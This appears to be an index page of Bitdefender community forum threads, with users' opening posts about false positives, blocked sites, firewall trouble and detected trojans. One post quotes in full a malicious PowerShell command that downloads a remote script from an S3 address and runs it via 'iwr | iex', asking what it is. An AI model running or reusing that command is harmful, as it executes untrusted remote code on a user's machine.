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Does Bitdefender not recognize the WSOD?
I was hit with the WSOD (White Screen of Death where W=white!). I did a system scan which says I'm safe. Hmmm, really?. So then I log in to Bitdefender and search for WSOD and guess what? There is not a single reference to WSOD but tons of BSOD (where B=blue!). So if Bitdefender is protecting me from malware and now I'm…
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Unable to connect past firewall
Just installed Bitdefender Security. I need to run ab app that accesses a remote IP address and port via a Digi RealPort Device (multi port serial adapter). If I turn off Bitdef Firewall, able to access normally. With Firewall on, app is blocked. I added app to the Firewall Rules, Allow, Network Any, Protocol Any,…
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Concern over lack of detection
If this is not the proper place for this post, please let me know where it belongs on the forums. I am a nooby here. I have been a long-time fan of this product but recently I am starting to think about shopping around again. I keep my system and Anti-Virus (Total Security) current. I have found many instances where the…
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Every few days i get the same threat, that Bidfender then blocks
So, as the title says, every few days I get the same malicious command from powershell: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -UseBasicParsing -Uri https://wqyspjbmkoapqql.s3.amazonaws.com/reinstall-agent.ps1 | iex" What is this? How can I stop it from happening? Thanks
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Malware Detected and "Neutralized" What is the Source? Potential False Positive?
Hello, I am extremely careful not to click on any odd links, not download anything suspicious, etc, etc. Have never ever had Bitdefender find any viruses, trojans, malware, etc on my machines. To my astonishment, Bitdefender recently found the following Trojan on my system: Trojan.GenericKD.73789160 Located in:…
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How is it possible for a Bitdefender complete scan to show clear when it obviously was not ?
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I Can't Access a Website. How Do I Make Bitdefender Stop Blocking Access?
I am trying to access a website (myseoauditor.com). When I try using the Brave browser, Bitdefender blocks the access, and I get this error: ERR_CONNECTION_CLOSED When I try using a different browser, it works. Why is this happening? Also, I've added the site to my online threat protection exceptions, but it still doesn't…
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Visual Studio 2022 & C# Generates Gen:Variant.MSILHeracles.46462 Virus
I am just now learning C# in VS 2022 and when running a small program having to do with arrays Bitdefender detected and quarantined what it considers a virus. I suspect this is a false-positive, but I wanted to post this here just in case it isn't. Previous program examples ran without issue. I am looking for…
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Does anyone knows this site?
Hello. I'm a Bitdefender Antivirus Free user. I use Honeygain, hoping that I'll gather some bucks. The Honeygain installed on my PC tried multiple times to access this address: https://tracking.tarsanmedia.in/ Bitdefender Antivirus Free saw it as a pishing page and blocked the attempts (until now there were around 15…
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Bitdefender is blocking and detecting uTorrent as a threat
I've tried adding uTorrent.exe to exceptions and no luck, whenever I run the program it says "disinfection in progress" and "threat detected".
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Advanced Threat Defense disabled
I have recently installed Bitdefender on 2 of my devices so far, having moved over from Kaspersky. For my desktop which runs Windows 7, I show a threat warning that Advanced Threat Defense is disabled. I clicked on "fix issue" but 2 days later, it is still showing as "Applying remote fix on your device'. I cannot figure…
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Issues with BD locking up Keyboard after scan
I have been using BD now for over six years and never once have dealt with this issue before. Everytime my scan starts and I am not using my keyboard ( IE Watching movies/tv shows steaming) My Keyboard will no longer be responsive and I have to unplug and replug it back in. Same story when I get up in the morning and go to…
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Was my computer hacked?
Just as I returned from vacation I found that my primary credit card was declined. It was still in my possession however it had been used in vancouver and in toronto only hours apart. According to the card company my user name , password, and phone no for the card had been changed. When I arrived home I found that I had…
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BUG ALERT! MasterCook Sync on my PC does not work unless I uninstall BITDEFENDER
I put mastercook.exe and its sync app in the exceptions for the firewall, I'm not using the VPN. According to the MasterCook folk and the BitDefender articles, this should all those 2 apps to penetrate my firewall, I turned off my firewall, and it is still not working. I uninstall BITDEFENDER and the application works…
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Trojan detected and then disappeared
A BD scan today flagged up trojan.heur.snakey.1.gen but hadn't taken any action. While I was researching it online the scan report and Notification just disappeared?? Another scan didn't flag it. I a little worried that BD may be compromised. I applied password control to changes in BD but e.g. the criteria for scanning…
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I received a letter from a hacker. The sender is me. What should I do?
Details of the message from the hacker. [full message deleted by admin due to inappropriate language] Ask for opinions from experts I check for malware every week. Malware detected I immediately followed Bitdefender's instructions. Should I believe the lies? Because I don't see any evidence files. There are no photos. I…
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Detecting Game As a threat
I've encountered an issue with the recently downloaded Delta Force Alpha game on my laptop. Despite adding the entire game folder as an exception in Bitdefender, the antivirus software continues to flag it as malicious during gameplay. Furthermore, after restoring the files, I'm unable to launch the game, forcing me to…
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Unable to add an Exception via Advanced Threat Defense.
The button to allow you to Manage Exceptions from the Online Threat Prevention menu as per the screen grabs below is greyed out for me. I would like to be able to add a website to the whitelist which has an expired security certificate. I know that the site in question is Trusted as it is has been regularly used without…
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Constant Suspicious connections from Chrome.
Constant suspicious connection blocked - Google Chrome. Just started up my PC after getting home from work. And whenever I opened chrome bitdefender spammed me with this: Feature: Online Threat Prevention chrome.exe attempted to establish a connection relying on an expired certificate to www.google.com. We blocked the…
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Hello, I got this detection
Hello everyone, I got this detection and would like to know what else to do? C:\Users\(removed for privacy)1~1\AppData\Local\Temp\etmpBAECD872-6BFE-BC4A-B48D-97A5D7E190ED Trojan.Upatre.Crypted.2
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Please Remove my website from blacklist
we have cleaned and secured our website https://gcc-technology.com please check and remove from your blacklist ,
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Bitdefender On Windows 10 Full System Scan Taking 40 Hours
I have a Dell Optiplex 3050 (DESKTOP-EL571SA) running windows 10. Have just installed Bitdefender Plus and removed old antivirus, and have started a full system scan. Though the fs scan is also scanning my Passport back up as well, the scan is still running 40 hours later. My system may not be the fasted admittedly (8Gig…
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Adding an exception
I am trying to unblock a certain website that is being blocked by bitdefender for some odd reason, however when I enter my account password the password will not work and it keeps asking my to enter the password, I am certain about the password that it's the correct password , also I can not log out the account on the…
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What are correct Firerwall settings for connecting Windows PC to NAS in Home LAN
I can no longer connect to NAS storage device from my Windows machine (laptop). For example, with the command: \\NASname , within File Explorer. Possibly a recent Bitdefender update changed settings? It used to work properly. So I need to know all the settings for creating this connection again. I have confirmed that this…
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False positive on Realplayer update?
For a while now, Realplayer has been offering what they term an "Important Update". Every time I've authorised the update, Bitdefender aborted the update. When I do a scan of the installation executable, the Bitdefender scanner declared it clean. Yet when I try to execute it, bitdefender still kills it, claiming it to be…
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Emails won't send in Outlook
I just installed bitdefender premium security on my computer and my android phone. Emails can be received but will not send. I cleared the email cache on my phone and emails will now send from my phone. I still can not send emails from my computer. What do I need to do to allow emails to send with bitdefender installed.
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Bitdefender Antispam Add-in in outlook deactivation/crash
Dear all, i have added Bitdefender Antispam into my outlook account. This Add-in will get always deactivated and i need to allow/activate always which is quite allowing. What is the reason for this and how could i avoid that my Antispam addin deactivated? thanks in advance
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False Positive
Bitdefender is blocking access to this web service: https://divmagic.com/ This web service is recommended and sold via AppSumo, here: https://appsumo.com/products/divmagic/ When I try to use the DivMagic Web service, I receive over 600 critical notifications, in just 20 minutes, where the notification says the following:…
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How do I get a URL past Bitdefender?
I've added the URL to the Exceptions list, and I've even temporarily turned off the virus protection, but Bitdefender still won't allow me to access the URL or to download a new version of the software.
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Bitdefender Firewall Issue
I am unable to activate the Bitdefender firewall. It keeps turning off. Additionally, every time I restart my PC, I notice that the Bitdefender application logs itself out, and the tray icon turns gray, displaying the message "Bitdefender services not responding." This requires manual intervention to log back in or…